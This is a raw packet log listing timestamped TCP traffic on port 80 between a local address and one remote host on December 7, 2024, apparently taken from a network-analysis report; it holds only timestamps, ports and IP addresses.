Dec 7, 2024 15:06:58.600999117 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.601052999 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.601097107 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.603066921 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.603140116 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.603259087 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.603303909 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.605174065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.605233908 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.605310917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.605355024 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.607217073 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.607284069 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.607311010 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.607372046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.609278917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.609343052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.609395027 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.609436989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.610574007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.610625982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.610697031 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.610738039 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.614789963 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.614801884 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.614814043 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.614828110 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.615083933 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.615096092 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.615134001 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.615166903 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.615176916 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.616555929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.616616964 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.616683006 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.616725922 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.617975950 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.617997885 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.618050098 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.619131088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.619244099 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.619277954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.619332075 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.620522022 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.620584965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.620676994 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.620726109 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.621797085 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.621809959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.621855021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.623054028 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.623111963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.623209000 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.623256922 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.624368906 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.624413013 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.624494076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.624537945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.625619888 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.625674963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.625761032 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.625814915 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.626883030 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.626939058 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.627033949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.627075911 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.628288031 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.628351927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.628423929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.628470898 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.629533052 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.629589081 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.629652023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.629703045 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.630888939 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.630906105 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.630949020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.630970955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.632147074 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.632158995 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.632201910 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.633471966 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.633527040 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.633582115 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.633625984 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.634902954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.634954929 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.634994984 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.635034084 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.635981083 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.636040926 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.636136055 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.636188984 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.637293100 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.637341022 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.637406111 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.637453079 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.638621092 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.638673067 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.638771057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.638817072 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.639883995 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.639934063 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.640074968 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.640125036 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.641191959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.641242981 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.641370058 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.641417027 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.642482042 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.642533064 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.642612934 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.642658949 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.643809080 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.643831968 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.643857002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.643876076 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.645111084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.645160913 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.645221949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.645270109 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.646361113 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.646410942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.646527052 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.646574974 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.647640944 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.647696018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.647845030 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.647895098 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.648978949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.649069071 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.649154902 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.649205923 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.650221109 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.650269985 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.650372982 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.650418043 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.651195049 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.651245117 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.740328074 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.740348101 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.740437984 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.740673065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.740722895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.740969896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.741066933 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.741941929 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.741992950 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.742029905 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.742079020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.743340969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.743357897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.743391037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.743406057 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.766664028 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.766721964 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.766894102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.767309904 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.767353058 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.767378092 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.767406940 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.768299103 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.768351078 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.768356085 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.768398046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.769438982 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.769491911 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.769526005 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.769576073 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.770526886 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.770580053 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.770723104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.770770073 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.771718025 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.771737099 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.771785021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.772809982 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.772864103 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.773116112 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.773166895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.773880005 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.773894072 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.773936033 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.774923086 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.774976015 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.775032997 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.775083065 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.775980949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.776032925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.776119947 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.776171923 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.777062893 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.777091026 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.777117968 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.777134895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.778178930 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.778234959 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.778450012 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.778501034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.779244900 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.779298067 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.779299021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.779341936 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.780313015 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.780364990 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.780400038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.780438900 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.781371117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.781424999 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.781507969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.781555891 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.782470942 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.782526016 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.782557011 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.782608986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.783658028 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.783710957 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.783746004 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.783798933 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.784594059 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.784647942 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.784682035 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.784729958 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.785725117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.785774946 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.785793066 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.785839081 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.786833048 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.786906004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.786914110 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.786957979 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.787836075 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.787888050 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.787954092 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.788007021 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.788904905 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.788955927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.789038897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.789093018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.789997101 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.790056944 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.790102005 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.790148973 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.791094065 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.791152954 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.791183949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.791229963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.792140007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.792206049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.792262077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.792311907 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.793215990 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.793277979 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.793358088 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.793411016 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.794323921 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.794400930 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.794449091 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.794501066 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.795353889 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.795416117 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.795607090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.795665026 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.796420097 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.796477079 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.796556950 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.796612978 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.797492981 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.797576904 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.797804117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.797857046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.798657894 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.798724890 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.798757076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.798800945 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.799721956 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.799751043 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.799782038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.799807072 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.800779104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.800848961 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.801137924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.801203012 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.801881075 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.801939964 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.801948071 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.801992893 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.802898884 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.802959919 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.803014994 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.803066969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.803971052 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.804028988 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.804033041 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.804083109 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.805007935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.805068970 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.805073023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.805119038 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.806090117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.806150913 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.806164026 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.806209087 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.807136059 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.807183027 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.807194948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.807225943 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.808245897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.808306932 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.808343887 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.808397055 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.809381008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.809396029 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.809436083 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.809464931 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.810376883 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.810415030 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.810434103 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.810465097 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.811527967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.811542034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.811582088 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.811598063 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.812537909 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.812587023 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.812632084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.812675953 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.813630104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.813679934 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.813709974 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.813747883 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.814760923 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.814774036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.814817905 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.815839052 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.815891027 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.816152096 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.816203117 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:58.817070961 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:58.817117929 CET	49740	80	192.168.2.8	185.215.113.16
